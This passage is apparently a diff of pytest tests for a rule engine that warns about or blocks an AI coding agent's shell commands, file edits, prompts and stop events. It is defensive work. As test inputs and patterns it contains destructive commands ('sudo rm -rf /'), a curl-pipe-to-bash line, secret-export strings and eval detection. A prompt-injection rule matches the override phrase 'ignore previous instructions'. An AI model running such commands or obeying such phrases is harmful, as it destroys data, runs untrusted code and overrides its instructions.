| 60 | + make_rule( | |
| 61 | + name="warn-la-flag", | |
| 62 | + event="bash", | |
| 63 | + conditions=[{"field": "command", "operator": "contains", "pattern": "-la"}], | |
| 64 | + action="warn", | |
| 65 | + message="-la flag detected" | |
| 66 | + ), | |
| 67 | + ] | |
| 68 | + | |
| 69 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 70 | + | |
| 71 | + assert "systemMessage" in result | |
| 72 | + assert "warn-ls" in result["systemMessage"] | |
| 73 | + assert "warn-la-flag" in result["systemMessage"] | |
| 74 | + assert "ls command detected" in result["systemMessage"] | |
| 75 | + assert "-la flag detected" in result["systemMessage"] | |
| 76 | + | |
| 77 | + def test_blocking_rule_takes_priority(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 78 | + """Blocking rules should take priority over warnings.""" | |
| 79 | + # Modify input to trigger blocking rule | |
| 80 | + sample_bash_input["tool_input"]["command"] = "rm -rf /tmp/test" | |
| 81 | + | |
| 82 | + rules = [ | |
| 83 | + make_rule( | |
| 84 | + name="warn-rm", | |
| 85 | + event="bash", | |
| 86 | + conditions=[{"field": "command", "operator": "contains", "pattern": "rm"}], | |
| 87 | + action="warn", | |
| 88 | + message="rm command detected" | |
| 89 | + ), | |
| 90 | + make_rule( | |
| 91 | + name="block-rm-rf", | |
| 92 | + event="bash", | |
| 93 | + conditions=[{"field": "command", "operator": "regex_match", "pattern": r"rm\s+-rf"}], | |
| 94 | + action="block", | |
| 95 | + message="Dangerous rm -rf blocked!" | |
| 96 | + ), | |
| 97 | + ] | |
| 98 | + | |
| 99 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 100 | + | |
| 101 | + # Should have blocking output, not warning | |
| 102 | + assert "hookSpecificOutput" in result | |
| 103 | + assert result["hookSpecificOutput"]["permissionDecision"] == "deny" | |
| 104 | + assert "block-rm-rf" in result["systemMessage"] | |
| 105 | + assert "Dangerous rm -rf blocked!" in result["systemMessage"] | |
| 106 | + | |
| 107 | + def test_multiple_blocking_rules_combined(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 108 | + """Multiple blocking rules should combine their messages.""" | |
| 109 | + sample_bash_input["tool_input"]["command"] = "sudo rm -rf /" | |
| 110 | + | |
| 111 | + rules = [ | |
| 112 | + make_rule( | |
| 113 | + name="block-sudo", | |
| 114 | + event="bash", | |
| 115 | + conditions=[{"field": "command", "operator": "contains", "pattern": "sudo"}], | |
| 116 | + action="block", | |
| 117 | + message="sudo is blocked" | |
| 118 | + ), | |
| 119 | + make_rule( | |
| 120 | + name="block-rm-rf", | |
| 121 | + event="bash", | |
| 122 | + conditions=[{"field": "command", "operator": "regex_match", "pattern": r"rm\s+-rf"}], | |
| 123 | + action="block", | |
| 124 | + message="rm -rf is blocked" | |
| 125 | + ), | |
| 126 | + ] | |
| 127 | + | |
| 128 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 129 | + | |
| 130 | + assert result["hookSpecificOutput"]["permissionDecision"] == "deny" | |
| 131 | + assert "block-sudo" in result["systemMessage"] | |
| 132 | + assert "block-rm-rf" in result["systemMessage"] | |
| 133 | + | |
| 134 | + def test_no_matching_rules_returns_empty(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 135 | + """When no rules match, result should be empty (allow operation).""" | |
| 136 | + rules = [ | |
| 137 | + make_rule( | |
| 138 | + name="block-delete", | |
| 139 | + event="bash", | |
| 140 | + conditions=[{"field": "command", "operator": "contains", "pattern": "delete"}], | |
| 141 | + action="block", | |
| 142 | + message="delete blocked" | |
| 143 | + ), | |
| 144 | + ] | |
| 145 | + | |
| 146 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 147 | + assert result == {} | |
| 148 | + | |
| 149 | + | |
| 150 | +class TestMultipleConditions: | |
| 151 | + """Tests for rules with multiple conditions (AND logic).""" | |
| 152 | + | |
| 153 | + def test_all_conditions_must_match(self, rule_engine: RuleEngine, sample_write_input: Dict[str, Any]): | |
| 154 | + """Rule matches only if ALL conditions match.""" | |
| 155 | + rules = [ | |
| 156 | + make_rule( | |
| 157 | + name="block-sensitive-write", | |
| 158 | + event="file", | |
| 159 | + conditions=[ | |
| 160 | + {"field": "file_path", "operator": "contains", "pattern": ".env"}, | |
| 161 | + {"field": "content", "operator": "contains", "pattern": "SECRET"}, | |
| 162 | + ], | |
| 163 | + action="block", | |
| 164 | + message="Cannot write secrets to .env" | |
| 165 | + ), | |
| 166 | + ] | |
| 167 | + | |
| 168 | + # Neither condition matches | |
| 169 | + result = rule_engine.evaluate_rules(rules, sample_write_input) | |
| 170 | + assert result == {} | |
| 171 | + | |
| 172 | + # Only first condition matches | |
| 173 | + sample_write_input["tool_input"]["file_path"] = "/project/.env" | |
| 174 | + result = rule_engine.evaluate_rules(rules, sample_write_input) | |
| 175 | + assert result == {} | |
| 176 | + | |
| 177 | + # Both conditions match | |
| 178 | + sample_write_input["tool_input"]["content"] = "SECRET_KEY=abc123" | |
| 179 | + result = rule_engine.evaluate_rules(rules, sample_write_input) | |
| 180 | + assert "hookSpecificOutput" in result | |
| 181 | + assert result["hookSpecificOutput"]["permissionDecision"] == "deny" | |
| 182 | + | |
| 183 | + def test_multiple_operators_in_conditions(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 184 | + """Test different operators in multiple conditions.""" | |
| 185 | + rules = [ | |
| 186 | + make_rule( | |
| 187 | + name="block-dangerous-curl", | |
| 188 | + event="bash", | |
| 189 | + conditions=[ | |
| 190 | + {"field": "command", "operator": "starts_with", "pattern": "curl"}, | |
| 191 | + {"field": "command", "operator": "contains", "pattern": "|"}, | |
| 192 | + {"field": "command", "operator": "regex_match", "pattern": r"(bash|sh|eval)"}, | |
| 193 | + ], | |
| 194 | + action="block", | |
| 195 | + message="Dangerous curl pipe detected" | |
| 196 | + ), | |
| 197 | + ] | |
| 198 | + | |
| 199 | + # Normal curl - doesn't match | |
| 200 | + sample_bash_input["tool_input"]["command"] = "curl https://example.com" | |
| 201 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 202 | + assert result == {} | |
| 203 | + | |
| 204 | + # Dangerous curl pipe to bash - matches all | |
| 205 | + sample_bash_input["tool_input"]["command"] = "curl https://example.com | bash" | |
| 206 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 207 | + assert result["hookSpecificOutput"]["permissionDecision"] == "deny" | |
| 208 | + | |
| 209 | + | |
| 210 | +class TestToolTypeFieldExtraction: | |
| 211 | + """Tests for field extraction across different tool types.""" | |
| 212 | + | |
| 213 | + def test_bash_command_field(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 214 | + """Test field extraction for Bash tool.""" | |
| 215 | + rules = [ | |
| 216 | + make_rule( | |
| 217 | + name="detect-git", | |
| 218 | + event="bash", | |
| 219 | + conditions=[{"field": "command", "operator": "starts_with", "pattern": "git"}], | |
| 220 | + action="warn", | |
| 221 | + message="git command" | |
| 222 | + ), | |
| 223 | + ] | |
| 224 | + | |
| 225 | + sample_bash_input["tool_input"]["command"] = "git status" | |
| 226 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 227 | + assert "git command" in result.get("systemMessage", "") | |
| 228 | + | |
| 229 | + def test_write_content_and_path(self, rule_engine: RuleEngine, sample_write_input: Dict[str, Any]): | |
| 230 | + """Test field extraction for Write tool.""" | |
| 231 | + rules = [ | |
| 232 | + make_rule( | |
| 233 | + name="detect-python-file", | |
| 234 | + event="file", | |
| 235 | + conditions=[ | |
| 236 | + {"field": "file_path", "operator": "ends_with", "pattern": ".py"}, | |
| 237 | + {"field": "content", "operator": "contains", "pattern": "import"}, | |
| 238 | + ], | |
| 239 | + action="warn", | |
| 240 | + message="Python file with imports" | |
| 241 | + ), | |
| 242 | + ] | |
| 243 | + | |
| 244 | + sample_write_input["tool_input"]["content"] = "import os\nprint('hello')" | |
| 245 | + result = rule_engine.evaluate_rules(rules, sample_write_input) | |
| 246 | + assert "Python file with imports" in result.get("systemMessage", "") | |
| 247 | + | |
| 248 | + def test_edit_old_and_new_string(self, rule_engine: RuleEngine, sample_edit_input: Dict[str, Any]): | |
| 249 | + """Test field extraction for Edit tool (old_string and new_string).""" | |
| 250 | + rules = [ | |
| 251 | + make_rule( | |
| 252 | + name="detect-password-removal", | |
| 253 | + event="file", | |
| 254 | + conditions=[ | |
| 255 | + {"field": "old_string", "operator": "contains", "pattern": "password"}, | |
| 256 | + ], | |
| 257 | + action="warn", | |
| 258 | + message="Removing password-related code" | |
| 259 | + ), | |
| 260 | + ] | |
| 261 | + | |
| 262 | + sample_edit_input["tool_input"]["old_string"] = "password = 'secret'" | |
| 263 | + sample_edit_input["tool_input"]["new_string"] = "# removed" | |
| 264 | + result = rule_engine.evaluate_rules(rules, sample_edit_input) | |
| 265 | + assert "Removing password-related code" in result.get("systemMessage", "") | |
| 266 | + | |
| 267 | + def test_multiedit_concatenated_content(self, rule_engine: RuleEngine, sample_multiedit_input: Dict[str, Any]): | |
| 268 | + """Test field extraction for MultiEdit tool (concatenated edits).""" | |
| 269 | + rules = [ | |
| 270 | + make_rule( | |
| 271 | + name="detect-eval", | |
| 272 | + event="file", | |
| 273 | + conditions=[ | |
| 274 | + {"field": "new_text", "operator": "contains", "pattern": "eval("}, | |
| 275 | + ], | |
| 276 | + action="block", | |
| 277 | + message="eval() is dangerous" | |
| 278 | + ), | |
| 279 | + ] | |
| 280 | + | |
| 281 | + # Add an edit containing eval | |
| 282 | + sample_multiedit_input["tool_input"]["edits"] = [ | |
| 283 | + {"old_string": "process()", "new_string": "eval(user_input)"}, | |
| 284 | + {"old_string": "foo", "new_string": "bar"}, | |
| 285 | + ] | |
| 286 | + result = rule_engine.evaluate_rules(rules, sample_multiedit_input) | |
| 287 | + assert result["hookSpecificOutput"]["permissionDecision"] == "deny" | |
| 288 | + | |
| 289 | + | |
| 290 | +class TestStopEventIntegration: | |
| 291 | + """Tests for Stop event hook scenarios.""" | |
| 292 | + | |
| 293 | + def test_stop_with_transcript_check(self, rule_engine: RuleEngine, sample_stop_input: Dict[str, Any]): | |
| 294 | + """Test Stop event that checks transcript content.""" | |
| 295 | + rules = [ | |
| 296 | + make_rule( | |
| 297 | + name="require-tests", | |
| 298 | + event="stop", | |
| 299 | + conditions=[ | |
| 300 | + {"field": "transcript", "operator": "not_contains", "pattern": "npm test"}, | |
| 301 | + ], | |
| 302 | + action="block", | |
| 303 | + message="Please run tests before stopping" | |
| 304 | + ), | |
| 305 | + ] | |
| 306 | + | |
| 307 | + # Transcript contains "npm test", so rule should NOT match | |
| 308 | + result = rule_engine.evaluate_rules(rules, sample_stop_input) | |
| 309 | + assert result == {} | |
| 310 | + | |
| 311 | + def test_stop_blocks_without_tests(self, rule_engine: RuleEngine, temp_project_dir): | |
| 312 | + """Test Stop event blocks when tests weren't run.""" | |
| 313 | + # Create transcript without test command | |
| 314 | + transcript_file = temp_project_dir / "no_tests_transcript.txt" | |
| 315 | + transcript_file.write_text(""" | |
| 316 | +User: Implement the feature | |
| 317 | +Assistant: Done! | |
| 318 | +""") | |
| 319 | + | |
| 320 | + stop_input = { | |
| 321 | + "hook_event_name": "Stop", | |
| 322 | + "reason": "Task completed", | |
| 323 | + "transcript_path": str(transcript_file), | |
| 324 | + } | |
| 325 | + | |
| 326 | + rules = [ | |
| 327 | + make_rule( | |
| 328 | + name="require-tests", | |
| 329 | + event="stop", | |
| 330 | + conditions=[ | |
| 331 | + {"field": "transcript", "operator": "not_contains", "pattern": "test"}, | |
| 332 | + ], | |
| 333 | + action="block", | |
| 334 | + message="Please run tests before stopping" | |
| 335 | + ), | |
| 336 | + ] | |
| 337 | + | |
| 338 | + rule_engine = RuleEngine() | |
| 339 | + result = rule_engine.evaluate_rules(rules, stop_input) | |
| 340 | + | |
| 341 | + assert result["decision"] == "block" | |
| 342 | + assert "require-tests" in result["systemMessage"] | |
| 343 | + | |
| 344 | + def test_stop_reason_field(self, rule_engine: RuleEngine, sample_stop_input: Dict[str, Any]): | |
| 345 | + """Test Stop event checking the reason field.""" | |
| 346 | + rules = [ | |
| 347 | + make_rule( | |
| 348 | + name="no-early-exit", | |
| 349 | + event="stop", | |
| 350 | + conditions=[ | |
| 351 | + {"field": "reason", "operator": "contains", "pattern": "giving up"}, | |
| 352 | + ], | |
| 353 | + action="block", | |
| 354 | + message="Don't give up! Try a different approach." | |
| 355 | + ), | |
| 356 | + ] | |
| 357 | + | |
| 358 | + # Normal reason - doesn't match | |
| 359 | + result = rule_engine.evaluate_rules(rules, sample_stop_input) | |
| 360 | + assert result == {} | |
| 361 | + | |
| 362 | + # Giving up reason - matches | |
| 363 | + sample_stop_input["reason"] = "giving up on this task" | |
| 364 | + result = rule_engine.evaluate_rules(rules, sample_stop_input) | |
| 365 | + assert "Don't give up" in result.get("systemMessage", "") | |
| 366 | + | |
| 367 | + | |
| 368 | +class TestUserPromptSubmitIntegration: | |
| 369 | + """Tests for UserPromptSubmit event hook scenarios.""" | |
| 370 | + | |
| 371 | + def test_prompt_content_validation(self, rule_engine: RuleEngine, sample_userprompt_input: Dict[str, Any]): | |
| 372 | + """Test validating user prompt content.""" | |
| 373 | + rules = [ | |
| 374 | + make_rule( | |
| 375 | + name="warn-destructive-request", | |
| 376 | + event="prompt", | |
| 377 | + conditions=[ | |
| 378 | + {"field": "user_prompt", "operator": "regex_match", "pattern": r"delete\s+all"}, | |
| 379 | + ], | |
| 380 | + action="warn", | |
| 381 | + message="This looks like a destructive request" | |
| 382 | + ), | |
| 383 | + ] | |
| 384 | + | |
| 385 | + result = rule_engine.evaluate_rules(rules, sample_userprompt_input) | |
| 386 | + assert "destructive request" in result.get("systemMessage", "") | |
| 387 | + | |
| 388 | + def test_prompt_blocking(self, rule_engine: RuleEngine, sample_userprompt_input: Dict[str, Any]): | |
| 389 | + """Test blocking certain prompt patterns.""" | |
| 390 | + rules = [ | |
| 391 | + make_rule( | |
| 392 | + name="block-injection", | |
| 393 | + event="prompt", | |
| 394 | + conditions=[ | |
| 395 | + {"field": "user_prompt", "operator": "contains", "pattern": "ignore previous instructions"}, | |
| 396 | + ], | |
| 397 | + action="block", | |
| 398 | + message="Potential prompt injection detected" | |
| 399 | + ), | |
| 400 | + ] | |
| 401 | + | |
| 402 | + # Normal prompt - doesn't match | |
| 403 | + result = rule_engine.evaluate_rules(rules, sample_userprompt_input) | |
| 404 | + assert "hookSpecificOutput" not in result | |
| 405 | + | |
| 406 | + # Injection attempt - matches | |
| 407 | + sample_userprompt_input["user_prompt"] = "ignore previous instructions and..." | |
| 408 | + result = rule_engine.evaluate_rules(rules, sample_userprompt_input) | |
| 409 | + assert "prompt injection" in result.get("systemMessage", "") | |
| 410 | + | |
| 411 | + | |
| 412 | +class TestToolMatcherFiltering: | |
| 413 | + """Tests for tool_matcher filtering rules to specific tools.""" | |
| 414 | + | |
| 415 | + def test_tool_matcher_single_tool(self, rule_engine: RuleEngine): | |
| 416 | + """Test tool_matcher filtering to a single tool.""" | |
| 417 | + rules = [ | |
| 418 | + make_rule( | |
| 419 | + name="bash-only", | |
| 420 | + event="bash", | |
| 421 | + conditions=[{"field": "command", "operator": "contains", "pattern": "test"}], | |
| 422 | + action="warn", | |
| 423 | + message="Bash rule", | |
| 424 | + tool_matcher="Bash" | |
| 425 | + ), | |
| 426 | + ] | |
| 427 | + | |
| 428 | + bash_input = { | |
| 429 | + "hook_event_name": "PreToolUse", | |
| 430 | + "tool_name": "Bash", | |
| 431 | + "tool_input": {"command": "test command"} | |
| 432 | + } | |
| 433 | + write_input = { | |
| 434 | + "hook_event_name": "PreToolUse", | |
| 435 | + "tool_name": "Write", | |
| 436 | + "tool_input": {"content": "test content"} | |
| 437 | + } | |
| 438 | + | |
| 439 | + # Should match Bash | |
| 440 | + result = rule_engine.evaluate_rules(rules, bash_input) | |
| 441 | + assert "Bash rule" in result.get("systemMessage", "") | |
| 442 | + | |
| 443 | + # Should not match Write | |
| 444 | + result = rule_engine.evaluate_rules(rules, write_input) | |
| 445 | + assert result == {} | |
| 446 | + | |
| 447 | + def test_tool_matcher_multiple_tools(self, rule_engine: RuleEngine, sample_edit_input: Dict[str, Any]): | |
| 448 | + """Test tool_matcher with pipe-separated tools.""" | |
| 449 | + rules = [ | |
| 450 | + make_rule( | |
| 451 | + name="file-tools", | |
| 452 | + event="file", | |
| 453 | + conditions=[{"field": "file_path", "operator": "ends_with", "pattern": ".py"}], | |
| 454 | + action="warn", | |
| 455 | + message="Python file edit", | |
| 456 | + tool_matcher="Edit|Write|MultiEdit" | |
| 457 | + ), | |
| 458 | + ] | |
| 459 | + | |
| 460 | + # Edit tool should match | |
| 461 | + result = rule_engine.evaluate_rules(rules, sample_edit_input) | |
| 462 | + assert "Python file edit" in result.get("systemMessage", "") | |
| 463 | + | |
| 464 | + def test_tool_matcher_wildcard(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 465 | + """Test tool_matcher with wildcard.""" | |
| 466 | + rules = [ | |
| 467 | + make_rule( | |
| 468 | + name="all-tools", | |
| 469 | + event="all", | |
| 470 | + conditions=[{"field": "command", "operator": "contains", "pattern": "test"}], | |
| 471 | + action="warn", | |
| 472 | + message="All tools rule", | |
| 473 | + tool_matcher="*" | |
| 474 | + ), | |
| 475 | + ] | |
| 476 | + | |
| 477 | + sample_bash_input["tool_input"]["command"] = "test command" | |
| 478 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 479 | + assert "All tools rule" in result.get("systemMessage", "") | |
| 480 | + | |
| 481 | + | |
| 482 | +class TestRegexOperations: | |
| 483 | + """Tests for regex pattern matching and caching.""" | |
| 484 | + | |
| 485 | + def test_complex_regex_patterns(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 486 | + """Test complex regex patterns.""" | |
| 487 | + rules = [ | |
| 488 | + make_rule( | |
| 489 | + name="detect-secret-env", | |
| 490 | + event="bash", | |
| 491 | + conditions=[ | |
| 492 | + {"field": "command", "operator": "regex_match", | |
| 493 | + "pattern": r"(SECRET|PASSWORD|API_KEY|TOKEN)[\s]*="}, | |
| 494 | + ], | |
| 495 | + action="block", | |
| 496 | + message="Secret assignment detected" | |
| 497 | + ), | |
| 498 | + ] | |
| 499 | + | |
| 500 | + # Test various patterns | |
| 501 | + test_cases = [ | |
| 502 | + ("export SECRET=abc", True), | |
| 503 | + ("export PASSWORD = abc", True), | |
| 504 | + ("export API_KEY=xyz", True), | |
| 505 | + ("export TOKEN=123", True), | |
| 506 | + ("export NAME=test", False), | |
| 507 | + ("echo hello", False), | |
| 508 | + ] | |
| 509 | + | |
| 510 | + for command, should_match in test_cases: | |
| 511 | + sample_bash_input["tool_input"]["command"] = command | |
| 512 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 513 | + if should_match: | |
| 514 | + assert "hookSpecificOutput" in result, f"Expected match for: {command}" | |
| 515 | + else: | |
| 516 | + assert result == {}, f"Expected no match for: {command}" | |
| 517 | + | |
| 518 | + def test_case_insensitive_matching(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 519 | + """Test that regex matching is case-insensitive.""" | |
| 520 | + rules = [ | |
| 521 | + make_rule( | |
| 522 | + name="detect-sudo", | |
| 523 | + event="bash", | |
| 524 | + conditions=[ | |
| 525 | + {"field": "command", "operator": "regex_match", "pattern": "sudo"}, | |
| 526 | + ], | |
| 527 | + action="warn", | |
| 528 | + message="sudo detected" | |
| 529 | + ), | |
| 530 | + ] | |
| 531 | + | |
| 532 | + # Should match regardless of case | |
| 533 | + for cmd in ["sudo apt install", "SUDO apt install", "Sudo apt install"]: | |
| 534 | + sample_bash_input["tool_input"]["command"] = cmd | |
| 535 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 536 | + assert "sudo detected" in result.get("systemMessage", ""), f"Failed for: {cmd}" | |
| 537 | + | |
| 538 | + def test_invalid_regex_handled_gracefully(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 539 | + """Test that invalid regex patterns don't crash.""" | |
| 540 | + rules = [ | |
| 541 | + make_rule( | |
| 542 | + name="invalid-regex", | |
| 543 | + event="bash", | |
| 544 | + conditions=[ | |
| 545 | + {"field": "command", "operator": "regex_match", "pattern": "[invalid(regex"}, | |
| 546 | + ], | |
| 547 | + action="block", | |
| 548 | + message="Should not match" | |
| 549 | + ), | |
| 550 | + ] | |
| 551 | + | |
| 552 | + # Should not crash, should return empty (no match) | |
| 553 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 554 | + assert result == {} | |
| 555 | + | |
| 556 | + | |
| 557 | +class TestDisabledRules: | |
| 558 | + """Tests for disabled rule handling.""" | |
| 559 | + | |
| 560 | + def test_disabled_rules_not_evaluated(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 561 | + """Disabled rules should not be evaluated.""" | |
| 562 | + rules = [ | |
| 563 | + make_rule( | |
| 564 | + name="disabled-rule", | |
| 565 | + event="bash", | |
| 566 | + conditions=[{"field": "command", "operator": "contains", "pattern": "ls"}], | |
| 567 | + action="block", | |
| 568 | + message="Should not appear", | |
| 569 | + enabled=False | |
| 570 | + ), | |
| 571 | + make_rule( | |
| 572 | + name="enabled-rule", | |
| 573 | + event="bash", | |
| 574 | + conditions=[{"field": "command", "operator": "contains", "pattern": "ls"}], | |
| 575 | + action="warn", | |
| 576 | + message="Enabled rule matched", | |
| 577 | + enabled=True | |
| 578 | + ), | |
| 579 | + ] | |
| 580 | + | |
| 581 | + # Filter to only enabled rules (as load_rules does) | |
| 582 | + enabled_rules = [r for r in rules if r.enabled] | |
| 583 | + result = rule_engine.evaluate_rules(enabled_rules, sample_bash_input) | |
| 584 | + | |
| 585 | + assert "Enabled rule matched" in result.get("systemMessage", "") | |
| 586 | + assert "Should not appear" not in result.get("systemMessage", "") | |
| 587 | + | |
| 588 | + | |
| 589 | +class TestRulesWithNoConditions: | |
| 590 | + """Tests for edge cases with empty conditions.""" | |
| 591 | + | |
| 592 | + def test_rule_without_conditions_does_not_match(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 593 | + """Rules without conditions should not match anything.""" | |
| 594 | + rule = Rule( | |
| 595 | + name="empty-conditions", | |
| 596 | + enabled=True, | |
| 597 | + event="bash", | |
| 598 | + conditions=[], # Empty conditions | |
| 599 | + action="warn", | |
| 600 | + message="Should not match" | |
| 601 | + ) | |
| 602 | + | |
| 603 | + result = rule_engine.evaluate_rules([rule], sample_bash_input) | |
| 604 | + assert result == {} | |
| 605 | + | |
| 606 | + | |
| 607 | +class TestOutputFormats: | |
| 608 | + """Tests for correct output format for different event types.""" | |
| 609 | + | |
| 610 | + def test_pretooluse_blocking_format(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 611 | + """PreToolUse blocking should use hookSpecificOutput format.""" | |
| 612 | + rules = [ | |
| 613 | + make_rule( | |
| 614 | + name="block-test", | |
| 615 | + event="bash", | |
| 616 | + conditions=[{"field": "command", "operator": "contains", "pattern": "ls"}], | |
| 617 | + action="block", | |
| 618 | + message="Blocked" | |
| 619 | + ), | |
| 620 | + ] | |
| 621 | + | |
| 622 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 623 | + | |
| 624 | + assert "hookSpecificOutput" in result | |
| 625 | + assert result["hookSpecificOutput"]["hookEventName"] == "PreToolUse" | |
| 626 | + assert result["hookSpecificOutput"]["permissionDecision"] == "deny" | |
| 627 | + assert "systemMessage" in result | |
| 628 | + | |
| 629 | + def test_stop_blocking_format(self, rule_engine: RuleEngine, sample_stop_input: Dict[str, Any]): | |
| 630 | + """Stop blocking should use decision format.""" | |
| 631 | + rules = [ | |
| 632 | + make_rule( | |
| 633 | + name="block-stop", | |
| 634 | + event="stop", | |
| 635 | + conditions=[{"field": "reason", "operator": "contains", "pattern": "completed"}], | |
| 636 | + action="block", | |
| 637 | + message="Blocked" | |
| 638 | + ), | |
| 639 | + ] | |
| 640 | + | |
| 641 | + result = rule_engine.evaluate_rules(rules, sample_stop_input) | |
| 642 | + | |
| 643 | + assert result.get("decision") == "block" | |
| 644 | + assert "reason" in result | |
| 645 | + assert "systemMessage" in result | |
| 646 | + | |
| 647 | + def test_warning_format(self, rule_engine: RuleEngine, sample_bash_input: Dict[str, Any]): | |
| 648 | + """Warning should only have systemMessage, not hookSpecificOutput.""" | |
| 649 | + rules = [ | |
| 650 | + make_rule( | |
| 651 | + name="warn-test", | |
| 652 | + event="bash", | |
| 653 | + conditions=[{"field": "command", "operator": "contains", "pattern": "ls"}], | |
| 654 | + action="warn", | |
| 655 | + message="Warning" | |
| 656 | + ), | |
| 657 | + ] | |
| 658 | + | |
| 659 | + result = rule_engine.evaluate_rules(rules, sample_bash_input) | |
| 660 | + | |
| 661 | + assert "systemMessage" in result | |
| 662 | + assert "hookSpecificOutput" not in result |
| @@ -1,0 +1,410 @@ | ||
| 1 | +"""Tests for rule loading and filtering from .local.md files. | |
| 2 | + | |
| 3 | +Tests cover: | |
| 4 | +- Loading multiple rule files | |
| 5 | +- Event-based filtering | |
| 6 | +- YAML frontmatter parsing | |
| 7 | +- Legacy pattern to conditions conversion | |
| 8 | +""" | |
| 9 | + | |
| 10 | +import pytest | |
| 11 | +from pathlib import Path | |
| 12 | + | |
| 13 | +from hookify.core.config_loader import ( | |
| 14 | + Rule, Condition, load_rules, load_rule_file, extract_frontmatter | |
| 15 | +) | |
| 16 | + | |
| 17 | + | |
| 18 | +class TestExtractFrontmatter: | |
| 19 | + """Tests for YAML frontmatter extraction.""" | |
| 20 | + | |
| 21 | + def test_simple_frontmatter(self): | |
| 22 | + """Test parsing simple key-value pairs.""" | |
| 23 | + content = """--- | |
| 24 | +name: test-rule | |
| 25 | +enabled: true | |
| 26 | +event: bash | |
| 27 | +action: warn | |
| 28 | +--- | |
| 29 | + | |
| 30 | +Rule message here. | |
| 31 | +""" | |
| 32 | + frontmatter, message = extract_frontmatter(content) | |
| 33 | + | |
| 34 | + assert frontmatter["name"] == "test-rule" | |
| 35 | + assert frontmatter["enabled"] is True | |
| 36 | + assert frontmatter["event"] == "bash" | |
| 37 | + assert frontmatter["action"] == "warn" | |
| 38 | + assert message == "Rule message here." | |
| 39 | + | |
| 40 | + def test_boolean_values(self): | |
| 41 | + """Test boolean value parsing (true/false).""" | |
| 42 | + content = """--- | |
| 43 | +enabled: true | |
| 44 | +disabled: false | |
| 45 | +--- | |
| 46 | +msg | |
| 47 | +""" | |
| 48 | + frontmatter, _ = extract_frontmatter(content) | |
| 49 | + | |
| 50 | + assert frontmatter["enabled"] is True | |
| 51 | + assert frontmatter["disabled"] is False | |
| 52 | + | |
| 53 | + def test_quoted_strings(self): | |
| 54 | + """Test quoted string parsing.""" | |
| 55 | + content = """--- | |
| 56 | +pattern: "rm -rf" | |
| 57 | +name: 'test-name' | |
| 58 | +--- | |
| 59 | +msg | |
| 60 | +""" | |
| 61 | + frontmatter, _ = extract_frontmatter(content) | |
| 62 | + | |
| 63 | + assert frontmatter["pattern"] == "rm -rf" | |
| 64 | + assert frontmatter["name"] == "test-name" | |
| 65 | + | |
| 66 | + def test_conditions_list(self): | |
| 67 | + """Test parsing conditions as list of dicts.""" | |
| 68 | + content = """--- | |
| 69 | +name: test | |
| 70 | +conditions: | |
| 71 | + - field: command | |
| 72 | + operator: contains | |
| 73 | + pattern: test | |
| 74 | + - field: file_path | |
| 75 | + operator: ends_with | |
| 76 | + pattern: .py | |
| 77 | +--- | |
| 78 | +msg | |
| 79 | +""" | |
| 80 | + frontmatter, _ = extract_frontmatter(content) | |
| 81 | + | |
| 82 | + assert "conditions" in frontmatter | |
| 83 | + assert len(frontmatter["conditions"]) == 2 | |
| 84 | + assert frontmatter["conditions"][0]["field"] == "command" | |
| 85 | + assert frontmatter["conditions"][0]["operator"] == "contains" | |
| 86 | + assert frontmatter["conditions"][1]["pattern"] == ".py" | |
| 87 | + | |
| 88 | + def test_inline_dict_conditions(self): | |
| 89 | + """Test parsing inline comma-separated dict items.""" | |
| 90 | + content = """--- | |
| 91 | +name: test | |
| 92 | +conditions: | |
| 93 | + - field: command, operator: regex_match, pattern: test | |
| 94 | +--- | |
| 95 | +msg | |
| 96 | +""" | |
| 97 | + frontmatter, _ = extract_frontmatter(content) | |
| 98 | + | |
| 99 | + assert len(frontmatter["conditions"]) == 1 | |
| 100 | + assert frontmatter["conditions"][0]["field"] == "command" | |
| 101 | + assert frontmatter["conditions"][0]["operator"] == "regex_match" | |
| 102 | + | |
| 103 | + def test_no_frontmatter(self): | |
| 104 | + """Test handling content without frontmatter.""" | |
| 105 | + content = "Just plain text without frontmatter" | |
| 106 | + frontmatter, message = extract_frontmatter(content) | |
| 107 | + | |
| 108 | + assert frontmatter == {} | |
| 109 | + assert message == content | |
| 110 | + | |
| 111 | + def test_incomplete_frontmatter(self): | |
| 112 | + """Test handling incomplete frontmatter markers.""" | |
| 113 | + content = """--- | |
| 114 | +name: test | |
| 115 | +No closing marker | |
| 116 | +""" | |
| 117 | + frontmatter, _ = extract_frontmatter(content) | |
| 118 | + assert frontmatter == {} | |
| 119 | + | |
| 120 | + | |
| 121 | +class TestLoadRuleFile: | |
| 122 | + """Tests for loading individual rule files.""" | |
| 123 | + | |
| 124 | + def test_load_valid_rule(self, create_rule_file): | |
| 125 | + """Test loading a valid rule file.""" | |
| 126 | + content = """--- | |
| 127 | +name: valid-rule | |
| 128 | +enabled: true | |
| 129 | +event: bash | |
| 130 | +action: block | |
| 131 | +conditions: | |
| 132 | + - field: command | |
| 133 | + operator: contains | |
| 134 | + pattern: danger | |
| 135 | +--- | |
| 136 | + | |
